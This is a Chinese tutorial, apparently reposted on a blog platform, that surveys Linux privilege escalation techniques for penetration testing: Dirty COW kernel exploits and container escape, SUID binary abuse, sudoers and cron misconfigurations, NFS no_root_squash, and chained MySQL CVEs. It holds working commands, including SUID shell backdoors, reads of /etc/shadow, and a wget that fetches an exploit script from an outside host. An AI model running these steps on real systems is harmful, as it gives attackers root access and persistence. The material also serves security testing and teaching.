mysql提权方式linux_Linux提权的几种常用方式

5e4d06d5b867661d27de36577bd26fbd.png

本文转载自微信公众号「Bypass」,作者Bypass 。转载本文请联系Bypass公众号。

在渗透测试过程中,提升权限是非常关键的一步,攻击者往往可以通过利用内核漏洞/权限配置不当/root权限运行的服务等方式寻找突破点,来达到提升权限的目的。

1、内核漏洞提权

提起内核漏洞提权就不得不提到脏牛漏洞(Dirty Cow),是存在时间最长且影响范围最广的漏洞之一。低权限用户可以利用该漏洞实现本地提权,同时可以通过该漏洞实现Docker容器逃逸,获得root权限的shell。

1.1 本地内核提权

(1)检测内核版本

# 查看系统发行版本

lsb_release -a

# 查看内核版本

uname -a

77836c731b0663d22e8ab06dfdbabb93.png

(2) 下载,编译生成exp文件

bypass@ubuntu:~$ make

f0f46b3235c1694d46753a258b8c9529.png

(3)执行成功,返回一个root权限的shell。

0dc628e1984c05151a7a6e1ad57050d2.png

1.2 利用DirtyCow漏洞实现Docker逃逸

(1)进入容器,编译POC并执行:

2952e8f69f1b40a21aa8fc63fec8a629.png

(2)在攻击者机器上,成功接收到宿主机反弹的shell。

ee83923f15933c0fad2c9c766ce737a6.png

1.3 Linux提权辅助工具

github项目地址:

https://github.com/mzet-/linux-exploit-suggester.git

(1)根据操作系统版本号自动查找相应提权脚本

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

984aa258b780df8e555cca761ba246c5.png

(2)根据提示下载poc,编译执行。

3fbf50dea730e474eedb2ee150359313.png

2、利用SUID提权

SUID是一种特殊权限,可以让调用者在执行过程中暂时获得该文件拥有者的权限。如果可以找到并运行root用户所拥有的SUID的文件,那么就可以在运行该文件的时候获得root用户权限。

(1)在Linux中查找可以用来提权的SUID文件

find / -perm -u=s -type f 2>/dev/null

f7973f72d7312b4d2d6b69fbd3822713.png

(2)通过find以root权限执行命令

cac9fad628389608ef2b9075e6efcb71.png

可用作Linux提权的命令及其姿势:

#Find

find pentestlab -execwhoami \;

#Vim

vim.tiny /etc/shadow

#awk

awk 'BEGIN{system("whoami")}'

#curl

curl file:///etc/shadow

#Bash

bash -p

#Less

less /etc/passwd

#Nmap

nmap --interactive

3、SUDO提权

普通用户在使用sudo执行命令的过程中,会以root方式执行命令。在很多场景里,管理员为了运维管理方便,sudoer配置文件错误导致提权。

(1)设置sudo免密码

$vi /etc/sudoers

在最后一行添加:bypass ALL=(ALL:ALL) NOPASSWD:ALL

(2)查看sudo的权限

da20b1ab4542e29793634611aea49fde.png

4、计划任务

如果可以找到可以有权限修改的计划任务脚本,就可以修改脚本实现提权。本质上,就是文件权限配置不当。

(1)查看计划任务,找到有修改权限的计划任务脚本。

ls -l /etc/cron*

more /etc/crontab

70c390a7492b60ce59b3afc6817d7023.png

(2)在mysqlback.sh 添加 SUID shell后门,当定时任务以root再次执行的时候,可以获取root权限。

cp /bin/bash /tmp/shell

chmod u+s /tmp/shell

c5e81ea572b0da642a41fe333b920fc1.png

5、NFS提权

当服务器中存在NFS共享,开启no_root_squash选项时,如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。

(1)查看NFS服务器上的共享目录

sudo showmount -e 10.1.1.233

536251f1bda621597acb1fd7ceb4ac5d.png

(2)创建本地挂载目录,挂载共享目录。使用攻击者本地root权限创建Suid shell。

sudo mkdir -p /tmp/data

sudo mount -t nfs 10.1.1.233:/home/bypass /tmp/data

cp /bin/bash /tmp/data/shell

chmod u+s /tmp/data/shell

a1498a6cebe68d6108d851b5637882f0.png

(3)回到要提权的服务器上,使用普通用户使用-p参数来获取root权限。

a2d608722363a7559d08cbb0a7c2ff31.png

6、MySQL提权

MySQL提权方式有UDF提权,MOF提权,写入启动项提权等方式,但比较有意思的是CVE-2016-6663、CVE-2016-6664组合利用的提取场景,可以将一个www-data权限提升到root权限。

(1)利用CVE-2016-6663将www-data权限提升为mysql权限:

cd /var/www/html/

gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

./mysql-privesc-race test 123456 localhost testdb

(2)利用CVE-2016-6664将Mysql权限提升为root权限:

wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh

chmod 777 mysql-chowned.sh

./mysql-chowned.sh /var/log/mysql/error.log

【编辑推荐】

【责任编辑:武晓燕 TEL:(010)68476606】

点赞 0

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值